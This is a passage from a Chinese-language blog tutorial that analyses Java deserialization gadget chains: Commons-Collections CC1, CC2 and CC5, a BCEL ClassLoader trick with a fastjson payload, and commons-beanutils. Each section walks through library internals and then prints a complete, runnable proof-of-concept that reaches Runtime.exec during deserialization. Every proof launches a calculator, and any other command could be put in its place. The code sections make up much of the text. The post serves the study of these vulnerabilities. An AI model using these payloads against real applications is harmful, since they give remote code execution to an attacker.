          6. import org.apache.commons.collections.map.LazyMap;
          7. import javax.management.BadAttributeValueExpException;
          8. import java.io.*;
          9. import java.lang.reflect.Field;
          10. import java.util.HashMap;
          11. import java.util.Map;
          12. public class CC5_test {
          13. public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
          14. Transformer transformerChain = new ChainedTransformer(
          15. new Transformer[]{ new ConstantTransformer(1) });
          16. Transformer[] Transformer=new Transformer[]{
          17. new ConstantTransformer(Runtime.class),
          18. new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
          19. new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
          20. new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"}),
          21. new ConstantTransformer(1)
          22. };
          23. Map innerMap = new HashMap();
          24. Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
          25. TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
          26. BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
          27. Field val=badAttributeValueExpException.getClass().getDeclaredField("val");
          28. val.setAccessible(true);
          29. val.set(badAttributeValueExpException,entry);
          30. Field field=transformerChain.getClass().getDeclaredField("iTransformers");
          31. field.setAccessible(true);
          32. field.set(transformerChain,Transformer);
          33. //序列化
          34. ByteArrayOutputStream baos = new ByteArrayOutputStream();
          35. ObjectOutputStream oos = new ObjectOutputStream(baos);
          36. oos.writeObject(badAttributeValueExpException);
          37. oos.flush();
          38. oos.close();
          39. //反序列化
          40. ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
          41. ObjectInputStream ois = new ObjectInputStream(bais);
          42. Object obj = (Object) ois.readObject();
          43. }
          44. }

          九、CC1利用链分析

          Gadget chain如下,和上述的CC链一样,只是get方法上层调用选取了AnnotationInvocationHandler。

          1. ObjectInputStream.readObject()
          2. AnnotationInvocationHandler.readObject()
          3. Map(Proxy).entrySet()
          4. AnnotationInvocationHandler.invoke()
          5. LazyMap.get()

          AnnotationInvocationHandler主要用于注解。注解的最底层实现则是一个动态代理。InvocationHandler类经常被用于动态代理,所谓动态代理就是定义了某个接口,但不编写实现类,通过JDK提供的proxy.newProxyInstance()创建一个接口对象

          总的来说,在运行期间动态创建一个interface实例的方法是:
          1.定义一个InvocationHandler实例,负责实现接口方法调用
          2.通过Proxy.newProxyInstance()创建interface实例,并配以三个参数:使用的ClassLoader、需要实现的接口数组、用来处理接口方法调用的InvocationHandler实例。
          3.将返回的object强制转型为接口。

          通过demo对比一下静态类和动态代理,此demo来自廖雪峰师傅的博客:

          1. //静态
          2. public interface Hello {
          3. void morning(String name);
          4. }
          5. public class HelloWorld implements Hello {
          6. public void morning(String name) {
          7. System.out.println("Good morning, " + name);
          8. }
          9. }
          10. Hello hello = new HelloWorld();
          11. hello.morning("Bob");
          12. //动态代理
          13. import java.lang.reflect.InvocationHandler;
          14. import java.lang.reflect.Method;
          15. import java.lang.reflect.Proxy;
          16. public class Main {
          17. public static void main(String[] args) {
          18. InvocationHandler handler = new InvocationHandler() {
          19. @Override
          20. public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
          21. System.out.println(method);
          22. if (method.getName().equals("morning")) {
          23. System.out.println("Good morning, " + args[0]);
          24. }
          25. return null;
          26. }
          27. };
          28. Hello hello = (Hello) Proxy.newProxyInstance(
          29. Hello.class.getClassLoader(), // 传入ClassLoader
          30. new Class[] { Hello.class }, // 传入要实现的接口
          31. handler); // 传入处理调用方法的InvocationHandler
          32. hello.morning("Bob");
          33. }
          34. }
          35. interface Hello {
          36. void morning(String name);
          37. }

          该类中有个invoke函数:

          1. //invoke函数
          2. Object var6 = this.memberValues.get(var4);
          3. //memberValues的定义
          4. private final Map<String, Object> memberValues;

          再来看一下该类的readobject函数:

          1. private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
          2. var1.defaultReadObject();
          3. AnnotationType var2 = null;
          4. try {
          5. var2 = AnnotationType.getInstance(this.type);
          6. } catch (IllegalArgumentException var9) {
          7. throw new InvalidObjectException("Non-annotation type in annotation serial stream");
          8. }
          9. Map var3 = var2.memberTypes();
          10. Iterator var4 = this.memberValues.entrySet().iterator();
          11. while(var4.hasNext()) {
          12. Entry var5 = (Entry)var4.next();
          13. String var6 = (String)var5.getKey();
          14. Class var7 = (Class)var3.get(var6);
          15. if (var7 != null) {
          16. Object var8 = var5.getValue();
          17. if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
          18. var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
          19. }
          20. }
          21. }
          22. }

          其实payload编写的过程主要是对Java特性要比较熟悉,例如memberValues是Map类型,Map有那些操作呢?插入map.put(k,v)、获取map.get(k)、移除map.remove(key),对Map进行遍历时可采用四种方式:

          1. //1
          2. for (String key : map.keySet())
          3. //2
          4. for (Map.Entry<String, String> entry : map.entrySet())
          5. //3
          6. Iterator<Map.Entry<String, String>> it = map.entrySet().iterator();
          7. while (it.hasNext()) {
          8. Map.Entry<String, String> entry = it.next();
          9. }
          10. //4
          11. for (String v : map.values())

          Entry是什么呢?它是Map中采用的一个内部类来表示一个映射项,也就是说每一个键值对就是一个Entry。

          entrySet是返回Map中所包含映射的Set视图。Set中的每个元素都是一个Map.Entry对象,可以使用getKey和getValue方法。keySet则是返回键的视图。

          附上简版payload:

          1. import org.apache.commons.collections.Transformer;
          2. import org.apache.commons.collections.functors.ChainedTransformer;
          3. import org.apache.commons.collections.functors.ConstantTransformer;
          4. import org.apache.commons.collections.functors.InvokerTransformer;
          5. import org.apache.commons.collections.keyvalue.TiedMapEntry;
          6. import org.apache.commons.collections.map.LazyMap;
          7. import java.io.*;
          8. import java.lang.annotation.Retention;
          9. import java.lang.reflect.*;
          10. import java.util.HashMap;
          11. import java.util.HashSet;
          12. import java.util.Map;
          13. public class CC1_test {
          14. public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException, NoSuchFieldException {
          15. Transformer transformerChain = new ChainedTransformer(
          16. new Transformer[]{ new ConstantTransformer(1) });
          17. Transformer[] Transformer=new Transformer[]{
          18. new ConstantTransformer(Runtime.class),
          19. new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
          20. new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
          21. new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"}),
          22. new ConstantTransformer(1)
          23. };
          24. Map innerMap = new HashMap();
          25. Map outerMap = LazyMap.decorate(innerMap,transformerChain);
          26. Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
          27. Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
          28. construct.setAccessible(true);
          29. InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class,outerMap);
          30. Map proxymap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
          31. handler = (InvocationHandler) construct.newInstance(Retention.class,proxymap);
          32. Field field=transformerChain.getClass().getDeclaredField("iTransformers");
          33. field.setAccessible(true);
          34. field.set(transformerChain,Transformer);
          35. ByteArrayOutputStream baos = new ByteArrayOutputStream();
          36. ObjectOutputStream oos = new ObjectOutputStream(baos);
          37. oos.writeObject(handler);
          38. oos.close();
          39. System.out.println(baos);
          40. ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
          41. Object o = (Object) ois.readObject();
          42. }
          43. }

          十、BCEL利用链分析

          BCEL,全名Apache Commons BCEL,一看也是Commons家族的,提供了一系列用于分析、创建、修改Java Class文件的API,位于原生JDK中,com.sun.org.apache.bcel。离别歌写的文章很清楚https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html。这个利用方式目前只存在于低于java 8u 251的版本中。

          在JVM的执行过程中,通过ClassLoader将类加载到内存。JDK中内置了很多ClassLoader,例如BootstrapClassLoader、ExtensionClassLoader、AppClassLoader、URLCLassLoader等。它们之间的委派模式级别从低到高。ClassLoader中有几个重要的方法,loadClass(加载全限定类名)、fineClass(搜索类的位置)、defineClass(将字节码转换为JVM的java.lang.class对象)等。

          在反射机制中经常看到用Class.forName来动态加载指定的类,从而返回一个CLass对象,如果此时没有指定ClassLoader,那么就会使用BootstrapClassLoader来加载。所以Class.forName本质上也是调用ClassLoader来实现的。但是Class.forName与ClassLoader.loadClass存在如下的区别:

          1. forName() 默认会对类进行初始化,会执行类中的 static 代码块
          2. ClassLoader.loadClass() 默认并不会对类进行初始化,只是把类加载到了 JVM 虚拟机中

          BCEL中也有个ClassLoader:com.sun.org.apache.bcel.internal.util.ClassLoader。该类重写了Java内置的ClassLoader#loadClass()方法,会判断类名是否以$$BCEL$$开头,如果是就对这个后面的字符串进行decode。

          下面是个用BCEL的demo,首先创建一个恶意类Evil,将Evil生成BCEL形式的字节码,然后用该字节码来创建对象,最终调用计算器。

          1. public class Evil {
          2. static {
          3. try {
          4. Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
          5. } catch (Exception e) {}
          6. }
          7. }
          1. import com.sun.org.apache.bcel.internal.Repository;
          2. import com.sun.org.apache.bcel.internal.classfile.JavaClass;
          3. import com.sun.org.apache.bcel.internal.classfile.Utility;
          4. import com.sun.org.apache.bcel.internal.util.ClassLoader;
          5. import java.io.IOException;
          6. public class BCEL_Test {
          7. public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException {
          8. JavaClass javaClass= Repository.lookupClass(Evil.class);
          9. String code= Utility.encode(javaClass.getBytes(),true);
          10. System.out.println(code);
          11. new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
          12. }
          13. }

          对于上述最后这一步加载,在fastjson中常用Class.forName("xxx", true, new ClassLoader),此时的ClassLoader是bcel包中的而非java.lang.ClassLoader

          在fastjson中,应用BasicDataSource的payload会调用Class.forName方法,并且可以自定义ClassLoader类型,demo如下:

          1. import com.alibaba.fastjson.JSON;
          2. import com.sun.org.apache.bcel.internal.Repository;
          3. import com.sun.org.apache.bcel.internal.classfile.JavaClass;
          4. import com.sun.org.apache.bcel.internal.classfile.Utility;
          5. import java.io.IOException;
          6. public class fastjson_test {
          7. public static void main(String[] args) throws IOException {
          8. JavaClass javaClass= Repository.lookupClass(Evil.class);
          9. String code= Utility.encode(javaClass.getBytes(),true);
          10. String poc= "{\n"+
          11. "{\n"+
          12. " \"aaa\": {\n"+
          13. " \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n"+
          14. " \"driverClassLoader\": {\n"+
          15. " \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n"+
          16. " },\n"+
          17. " \"driverClassName\": \"$$BCEL$$"+code+"\"\n"+
          18. "}\n"+
          19. "}: \"bbb\"\n" +
          20. "}";
          21. JSON.parse(poc);
          22. }
          23. }

          最后附上纯净的payload:

          1. {
          2. {
          3. "aaa": {
          4. "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
          5. "driverClassLoader": {
          6. "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
          7. },
          8. "driverClassName": "$$BCEL$$..."
          9. }
          10. }: "bbb"
          11. }

          十一、CC2利用链分析

          CC2的利用链如下,用的是PriorityQueue。

          1. Gadget chain:
          2. ObjectInputStream.readObject()
          3. PriorityQueue.readObject()
          4. ...
          5. TransformingComparator.compare()
          6. InvokerTransformer.transform()
          7. Method.invoke()
          8. Runtime.exec()

          PriorityQueue,顾名思义,是一个优先级队列,按照队列中元素的自然顺序排列,或者根据构造队列时提供的Comparator进行排序。队列中不能有null元素,也不能插入不可比较对象(即,没有实现Comparable接口的对象)。另外,PriorityQueue是无界的,如果不断向其中添加元素,容器就会无限扩充。队列的头元素指向排序规则最小的元素。这也体现了优先队列的作用:每次取出的元素都是队列中权值最小的。

          PriorityQueue是通过二叉小顶堆实现的,可以用一颗完全二叉树表示。所谓小顶堆就是任意一个非叶子节点的权值,都不大于其左右节点的权值。学过基础算法的人都了解,队列包含的基础操作有:创建队列;判断队列是否为空;插入、删元素;这些也被包含在优先队列函数中。以插入元素为例:

          插入元素4后,会发现它不满足二叉小顶堆的定义,即9比4大,不是个小顶堆,那么就需要用siftUp函数进行调整。插入的时候会调用扩容函数grow。

          另外提一句,add(E e)和offer(E e)的语义相同,都是向优先队列中插入元素,只是Queue接口规定二者对插入失败时的处理不同,前者在插入失败时抛出异常,后则则会返回false。同样获取队列头元素(但不删除)也有两种方法:element()和peek(),二者的异同和add与offer类似。同样是获取队列头元素,但是同时删除头元素的方法则是:remove和poll

          关于PriorityQueue的算法问题,可以看下面文章的图,很清楚
          https://www.cnblogs.com/CarpenterLee/p/5488070.html

          然后是InvokerTransformer上层选取的TransformingComparator,从CC6的payload来看,TransformingComparator必然替代了ChainTransformer的功能。具体来看一下该类的内容:

          1. public TransformingComparator(Transformersuper I, ? extends O> transformer, Comparator decorated) {
          2. this.decorated = decorated;
          3. this.transformer = transformer;
          4. }
          5. public int compare(I obj1, I obj2) {
          6. O value1 = this.transformer.transform(obj1);
          7. O value2 = this.transformer.transform(obj2);
          8. return this.decorated.compare(value1, value2);
          9. }

          类中的compare函数,调用了transformer对象的transform函数。这些是给出的Gadget chain中的内容,那么ysoserial中的payload又是什么样子的呢?

          首先提到了TemplatesImpl类。该类位于com.sun.org.apache.xalan.internal.xsltc.trax
          xalan处理器主要用于XML转换,它主要的类如下:
           

          1. TransformerFactory:转换器工厂,负责生产转换器;
          2. Transformer:XSLT转换器,负责加载XSLT样式单文档,并执行转换;
          3. Source:代表源XML文档的接口,其常用实现类有DOMSource、StreamSource、SAXSource;
          4. Result:代表转换结果的文档接口,其常用实现类有DOMResult、StreamResult、SAXResult。

          TemplatesImpl类

          defineTransletClasses函数有一行如下的代码,获取_bytecodes[i]中的类,传递给_class[i]:

           _class[i] = loader.defineClass(_bytecodes[i]); 

          getTransletInstance()函数则对_class[]类进行了实例化,创建了类对象,但有个限制是类对象是AbstractTranslet类型。

           AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

          那么接下来的问题就是如何调用getTransletInstance方法。

          newTransformer()函数可以对getTransletInstance方法进行调用,POC中利用InvokerTransformer去调用newTransformer。

          1. transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
          2. _indentNumber, _tfactory);

          后续,TransformingComparator的compare方法会去调用传入参数的transform方法,而compare方法的调用则依靠PriorityQueue类来实现了。

          PriorityQueue类siftDownUsingComparator函数执行了compare函数,由comparator来调用。而siftDown函数则在comparator不为空的前提下对siftDownUsingComparator函数进行调用,heapify又可以对siftDown进行循环调用。PriorityQueue类的readObject函数自动会调用heapify函数,这一步简直完美。

          1. //PriorityQueue类
          2. //siftDownUsingComparator
          3. if (right < size && comparator.compare((E) c, (E) queue[right]) > 0)
          4. private final Comparator comparator;
          5. private void siftDown(int k, E x) {
          6. if (comparator != null)
          7. siftDownUsingComparator(k, x);
          8. else
          9. siftDownComparable(k, x);
          10. }
          11. private void heapify() {
          12. for (int i = (size >>> 1) - 1; i >= 0; i--)
          13. siftDown(i, (E) queue[i]);
          14. }
          15. private void readObject(java.io.ObjectInputStream s)
          16. throws java.io.IOException, ClassNotFoundException {
          17. // Read in size, and any hidden stuff
          18. s.defaultReadObject();
          19. // Read in (and discard) array length
          20. s.readInt();
          21. queue = new Object[size];
          22. // Read in all elements.
          23. for (int i = 0; i < size; i++)
          24. queue[i] = s.readObject();
          25. // Elements are guaranteed to be in "proper order", but the
          26. // spec has never explained what that might be.
          27. heapify();
          28. }

          整个payload链条补全大致如下:

          1. ObjectInputStream.readObject()
          2. PriorityQueue.readObject()
          3. PriorityQueue.heapify()
          4. PriorityQueue.siftDown()
          5. siftDownUsingComparator()
          6. TransformingComparator.compare()
          7. TemplatesImpl.newTransformer()
          8. TemplatesImpl.getTransletInstance()
          9. TemplatesImpl.defineTransletClasses()
          10. TemplatesImpl.TransletClassLoader.defineClass()

          最后还要提一下Javassist,一个Java字节码类库。Javaassit.CtClass 表示 class 文件。一个 GtClass (编译时类)对象可以处理一个 class 文件,ClassPool是 CtClass 对象的容器。它按需读取类文件来构造 CtClass 对象,并且保存 CtClass 对象以便以后使用。

          ClassPool常用方法:

          1. getDefault : 创建ClassPool;
          2. appendClassPath, insertClassPath : 将一个ClassPath加到类搜索路径的末尾位置 或 插入到起始位置。通常通过该方法写入额外的类搜索路径,以解决多个类加载器环境中找不到类的尴尬;
          3. toClass : 将修改后的CtClass加载至当前线程的上下文类加载器中,CtClass的toClass方法是通过调用本方法实现。需要注意的是一旦调用该方法,则无法继续修改已经被加载的class
          4. get , getCtClass : 根据类路径名获取该类的CtClass对象,用于后续的编辑
          5. makeClass:定义一个新的类(在知道类完整路径和名字的情况下)

          生成类对象的方式:

          1. ClassPool pool = ClassPool.getDefault();
          2. // 设置类路径
          3. pool.appendClassPath("/Users/yangyue/workspace/springboot-learn/java-agent/src/main/java/");
          4. CtClass ctClass = pool.get("com.rickiyang.learn.javassist.Person");
          5. Object person = ctClass.toClass().newInstance();

          ysoserial的CC2 payload借助javaassist来生成一个继承自AbstractTranslet的恶意类。AbstractTranslet在上文提到了,TemplatesImpl获取_bytecodes[i]中的类,该类在getTransletInstance函数中被限制为AbstractTranslet类型。

          最后附上裸版payload,便于新手阅读。

          1. import javassist.*;
          2. import org.apache.commons.collections4.comparators.TransformingComparator;
          3. import org.apache.commons.collections4.functors.InvokerTransformer;
          4. import java.io.*;
          5. import java.lang.reflect.Field;
          6. import java.lang.reflect.InvocationTargetException;
          7. import java.util.PriorityQueue;
          8. public class CC2_test{
          9. public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, InstantiationException {
          10. String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
          11. String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
          12. ClassPool classPool=ClassPool.getDefault();//返回默认的类池
          13. classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
          14. CtClass payload=classPool.makeClass("CommonsCollections22");//创建一个新的public类
          15. payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22类的父类为AbstractTranslet
          16. payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //创建一个空的类初始化,设置构造函数主体为runtime
          17. byte[] bytes=payload.toBytecode();//转换为byte数组
          18. Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
          19. Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
          20. field.setAccessible(true);//暴力反射
          21. field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
          22. Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
          23. field1.setAccessible(true);//暴力反射
          24. field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
          25. InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
          26. TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
          27. PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
          28. queue.add(1);//添加数字1插入此优先级队列
          29. queue.add(1);//添加数字1插入此优先级队列
          30. Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
          31. field2.setAccessible(true);//暴力反射
          32. field2.set(queue,comparator);//设置queue的comparator字段值为comparator
          33. Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
          34. field3.setAccessible(true);//暴力反射
          35. field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl
          36. ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
          37. outputStream.writeObject(queue);
          38. outputStream.close();
          39. ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
          40. inputStream.readObject();
          41. }
          42. }

          十二、commons-beanutils

          对比一下ysoserial工具中commons-beanutils和commons-collections2的payload就会发现二者最大的区别如下:

          1. //commons-collections2
          2. final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
          3. final PriorityQueue queue = new PriorityQueue(2,new TransformingComparator(transformer));
          4. //commons-beanutils
          5. final BeanComparator comparator = new BeanComparator("lowestSetBit");
          6. final PriorityQueue queue = new PriorityQueue(2, comparator);

            也就是说用BeanComparator替代了InvokerTransformer。BeanComparator来自commons-beanutils包,该jar包主要提供对JavaBean进行各式操作,例如直接get/set一个属性值。

            BeanComparator类中有compare函数:

            1. //BeanComparator类
            2. //compare
            3. if (this.property == null) {
            4. return this.internalCompare(o1, o2);
            5. } else {
            6. try {
            7. Object value1 = PropertyUtils.getProperty(o1, this.property);
            8. Object value2 = PropertyUtils.getProperty(o2, this.property);
            9. return this.internalCompare(value1, value2);
            10. }
            11. //internalCompare
            12. private int internalCompare(Object val1, Object val2) {
            13. Comparator c = this.comparator;
            14. return c.compare(val1, val2);
            15. }

            简版payload:

            1. import javassist.CannotCompileException;
            2. import javassist.ClassPool;
            3. import javassist.CtClass;
            4. import javassist.NotFoundException;
            5. import org.apache.commons.beanutils.BeanComparator;
            6. import java.io.*;
            7. import java.lang.reflect.Field;
            8. import java.lang.reflect.InvocationTargetException;
            9. import java.math.BigInteger;
            10. import java.util.PriorityQueue;
            11. public class Beanutil_test {
            12. public static void main(String[] args) throws IOException, CannotCompileException, NotFoundException, ClassNotFoundException, NoSuchFieldException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
            13. String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
            14. String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
            15. ClassPool classPool=ClassPool.getDefault();
            16. classPool.appendClassPath(AbstractTranslet);
            17. CtClass payload=classPool.makeClass("CommonsCollections22");
            18. payload.setSuperclass(classPool.get(AbstractTranslet));
            19. payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");");
            20. byte[] bytes=payload.toBytecode();
            21. Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
            22. Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
            23. field.setAccessible(true);
            24. field.set(templatesImpl,new byte[][]{bytes});
            25. Field field1=templatesImpl.getClass().getDeclaredField("_name");
            26. field1.setAccessible(true);
            27. field1.set(templatesImpl,"test");
            28. BeanComparator comparator = new BeanComparator("lowestSetBit");
            29. PriorityQueue queue = new PriorityQueue(2, comparator);
            30. queue.add(new BigInteger("1"));
            31. queue.add(new BigInteger("1"));
            32. Field field2=comparator.getClass().getDeclaredField("property");
            33. field2.setAccessible(true);
            34. field2.set(comparator,"outputProperties");
            35. Field field4=queue.getClass().getDeclaredField("queue");
            36. field4.setAccessible(true);
            37. Object[] queueArray=(Object[])field4.get(queue);
            38. queueArray[0] = templatesImpl;
            39. queueArray[1] = templatesImpl;
            40. ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
            41. outputStream.writeObject(queue);
            42. outputStream.close();
            43. ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
            44. inputStream.readObject();
            45. }
            46. }
            47. 相关阅读:
              一款针对EF Core轻量级分表分库、读写分离的开源项目
              Java框架(三)--Spring IoC容器与Bean管理(3)--对象依赖注入
              前端基础5——UI框架Layui
              一个基于Notes的CMR应用程序
              51单片机+EC11编码器实现可调参菜单+OLED屏幕显示
              dubbo和springcloud问题解决——interface not allow null
              (附源码)spring boot智能服药提醒app 毕业设计 102151
              网关、网桥、路由器和交换机之【李逵与李鬼】
              k8s高可用集群搭建(三)
              L75.linux命令每日一练 -- 第11章 Linux系统管理命令 -- lsof和uptime
            48. 原文地址:https://blog.csdn.net/qq_35029061/article/details/126151168